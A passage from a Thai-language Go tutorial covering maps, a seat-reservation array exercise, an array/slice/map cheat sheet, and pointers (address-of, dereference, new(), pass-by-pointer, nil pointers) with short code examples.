}</code></pre><p>Map &#xE21;&#xE35; Function &#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE04;&#xE37;&#xE2D; delete()</p><pre><code>// &#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; map
delete(userAges, &quot;Bob&quot;)
fmt.Println(&quot;userAges after deleting Bob:&quot;, userAges)</code></pre><p>Map &#xE08;&#xE36;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; Key-value &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><figure class="kg-card kg-code-card"><pre><code>Maps
   - &#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; key-value
   &#xE0A;&#xE37;&#xE48;&#xE2D; := map[&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;key]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;value{
       key1: value1,
       key2: value2,
   }
   &#xE0A;&#xE37;&#xE48;&#xE2D; := make(map[&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;key]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;value)

   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   map[key] = value     // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE04;&#xE48;&#xE32;
   delete(map, key)     // &#xE25;&#xE1A;&#xE04;&#xE48;&#xE32;
   value, exists := map[key]  // &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="exercise"><em><em>Exercise</em></em></h3><p>&#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Use Case &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Array &#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; Go</p><pre><code>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE42;&#xE04;&#xE49;&#xE14;

package main

import &quot;fmt&quot;

const totalSeats = 100

func main() {
    var seats [totalSeats]bool // false = &#xE27;&#xE48;&#xE32;&#xE07;, true = &#xE08;&#xE2D;&#xE07;

    // &#xE08;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE19;&#xE31;&#xE48;&#xE07;
    seats[10] = true
    seats[11] = true

    // &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE19;&#xE31;&#xE48;&#xE07;&#xE27;&#xE48;&#xE32;&#xE07;
    for i, isReserved := range seats {
        if !isReserved {
            fmt.Printf(&quot;&#xE17;&#xE35;&#xE48;&#xE19;&#xE31;&#xE48;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02; %d &#xE27;&#xE48;&#xE32;&#xE07;\n&quot;, i+1)
        }
    }
}</code></pre><p><em><a href="https://forms.gle/Pe9Lv41jhkxcs9vw7?ref=blog.pjjop.org"><em>Go Quiz </em>4</a><em> (</em>19<em> &#xE02;&#xE49;&#xE2D;) </em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em>Q&amp;A?</em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-array-slice-%E0%B9%81%E0%B8%A5%E0%B8%B0-map-%E0%B8%81%E0%B8%A5%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B9%87%E0%B8%9A%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%A5%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87"><em>&#xE23;&#xE27;&#xE21; Cheat Sheet Array, Slice &#xE41;&#xE25;&#xE30; Map : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE48;&#xE2D;&#xE07;</em></h3><pre><code>Array, Slice &#xE41;&#xE25;&#xE30; Map
--------------------

Arrays
   - &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE02;&#xE19;&#xE32;&#xE14;&#xE15;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;
   var &#xE0A;&#xE37;&#xE48;&#xE2D; [&#xE02;&#xE19;&#xE32;&#xE14;]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
   &#xE0A;&#xE37;&#xE48;&#xE2D; := [&#xE02;&#xE19;&#xE32;&#xE14;]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;{&#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2, ...}
   
   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   len(array)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;
   
Slice
   - &#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49;
   &#xE0A;&#xE37;&#xE48;&#xE2D; := []&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;{&#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2, ...}
   &#xE0A;&#xE37;&#xE48;&#xE2D; := make([]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;, &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;, &#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38;)
   
   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   append(slice, &#xE04;&#xE48;&#xE32;)   // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE48;&#xE32;
   len(slice)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;
   cap(slice)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38;
   slice[start:end]    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; slice &#xE22;&#xE48;&#xE2D;&#xE22;
   
Maps
   - &#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; key-value
   &#xE0A;&#xE37;&#xE48;&#xE2D; := map[&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;key]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;value{
       key1: value1,
       key2: value2,
   }
   &#xE0A;&#xE37;&#xE48;&#xE2D; := make(map[&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;key]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;value)

   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   map[key] = value     // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE04;&#xE48;&#xE32;
   delete(map, key)     // &#xE25;&#xE1A;&#xE04;&#xE48;&#xE32;
   value, exists := map[key]  // &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;</code></pre><h2 id="pointer-%E0%B8%AA%E0%B9%88%E0%B8%87%E0%B8%A3%E0%B8%B5%E0%B9%82%E0%B8%A1%E0%B8%97%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%84%E0%B8%99%E0%B8%AD%E0%B8%B7%E0%B9%88%E0%B8%99%E0%B9%83%E0%B8%8A%E0%B9%89-%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%81%E0%B8%A7%E0%B9%88%E0%B8%B2%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%A2%E0%B8%81%E0%B8%97%E0%B8%B5%E0%B8%A7%E0%B8%B5%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%84%E0%B8%9B%E0%B9%83%E0%B8%AB%E0%B9%89"><strong><strong>Pointer : &#xE2A;&#xE48;&#xE07;&#xE23;&#xE35;&#xE42;&#xE21;&#xE17;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE0A;&#xE49; &#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE17;&#xE35;&#xE27;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49;</strong></strong></h2><p>Pointers &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE1A;&#xE2D;&#xE01;&#xE17;&#xE32;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; &#xE42;&#xE14;&#xE22; Pointer &#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A; Address &#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE04;&#xE48;&#xE32;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><pre><code>x := 5
var p *int = &amp;x  // p &#xE40;&#xE01;&#xE47;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE02;&#xE2D;&#xE07; x
fmt.Println(&quot;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; x:&quot;, x)
fmt.Println(&quot;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE02;&#xE2D;&#xE07; x:&quot;, p)
fmt.Println(&quot;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48; p &#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;:&quot;, *p)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-10.52.16-PM.png" class="kg-image" alt loading="lazy" width="1328" height="142" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-10.52.16-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-10.52.16-PM.png 1000w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-10.52.16-PM.png 1328w" sizes="(min-width: 720px) 720px"></figure><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; &amp; &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Address-of</strong> &#xE17;&#xE35;&#xE48;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Address &#xE02;&#xE2D;&#xE07; x &#xE41;&#xE25;&#xE30; * &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Dereference</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; p &#xE40;&#xE1B;&#xE47;&#xE19; Pointer &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48; p &#xE2D;&#xE49;&#xE32;&#xE07;</p><p>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; Pointer &#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; &#xE14;&#xE49;&#xE27;&#xE22; new()</p><pre><code>ptr := new(int) // &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
fmt.Println(*ptr)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-28-at-6.44.05-AM.png" class="kg-image" alt loading="lazy" width="1866" height="58" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-28-at-6.44.05-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-28-at-6.44.05-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-28-at-6.44.05-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-28-at-6.44.05-AM.png 1866w" sizes="(min-width: 720px) 720px"></figure><p>new(int) &#xE08;&#xE30;&#xE08;&#xE2D;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE48;&#xE32; int &#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE31;&#xE49;&#xE19; (&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; int &#xE04;&#xE37;&#xE2D; 0) &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; Pointer &#xE17;&#xE35;&#xE48;&#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE19;&#xE31;&#xE49;&#xE19;&#xE43;&#xE2B;&#xE49; ptr</p><p>Go &#xE43;&#xE0A;&#xE49; * &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Pointer &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23; Dereferenc &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE0A;&#xE49; &amp; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A; Address &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; C/C++</p><p>&#xE41;&#xE15;&#xE48; Go &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE17;&#xE32;&#xE07;&#xE04;&#xE13;&#xE34;&#xE15;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;&#xE01;&#xE31;&#xE1A; Pointer &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; C/C++ &#xE42;&#xE14;&#xE22;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE40;&#xE17;&#xE48;&#xE32; C/C++ &#xE43;&#xE19;&#xE41;&#xE07;&#xE48;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE15;&#xE48;&#xE33;</p><figure class="kg-card kg-code-card"><pre><code>int arr[] = {1, 2, 3, 4, 5};
int *ptr = arr;
ptr++; // &#xE40;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19; pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;
ptr += 2; // &#xE40;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19; pointer &#xE44;&#xE1B; 2 &#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE17;&#xE32;&#xE07;&#xE04;&#xE13;&#xE34;&#xE15;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;&#xE01;&#xE31;&#xE1A; Pointer &#xE43;&#xE19; C/C++</figcaption></figure><p>&#xE08;&#xE36;&#xE07;&#xE01;&#xE25;&#xE48;&#xE32;&#xE27;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32; Go &#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE21;&#xE14;&#xE38;&#xE25;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Pointer &#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE07;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE41;&#xE15;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE44;&#xE27;&#xE49;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE15;&#xE48;&#xE33;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; C/C++ &#xE04;&#xE23;&#xE31;&#xE1A;</p><p>Pointers &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Function doublePointer &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07; &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE41;&#xE04;&#xE48;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE04;&#xE48;&#xE32;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE43;&#xE19; Function doubleValue &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;</p><pre><code>func doubleValue(x int) {
	x *= 2
}

func doublePointer(x *int) {
	*x *= 2
}

func main() {
	num := 5
	doubleValue(num)
	fmt.Println(&quot;&#xE2B;&#xE25;&#xE31;&#xE07; doubleValue:&quot;, num) // &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; 5

	doublePointer(&amp;num)
	fmt.Println(&quot;&#xE2B;&#xE25;&#xE31;&#xE07; doublePointer:&quot;, num) // &#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19; 10
}</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; Pointer &#xE08;&#xE30;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><strong>nil Pointer</strong> &#xE04;&#xE37;&#xE2D; Pointer &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Address &#xE43;&#xE14; &#xE46; &#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE21;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Pointer &#xE17;&#xE35;&#xE48;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE16;&#xE39;&#xE01;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; &#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; nil Pointer &#xE01;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21; Panic 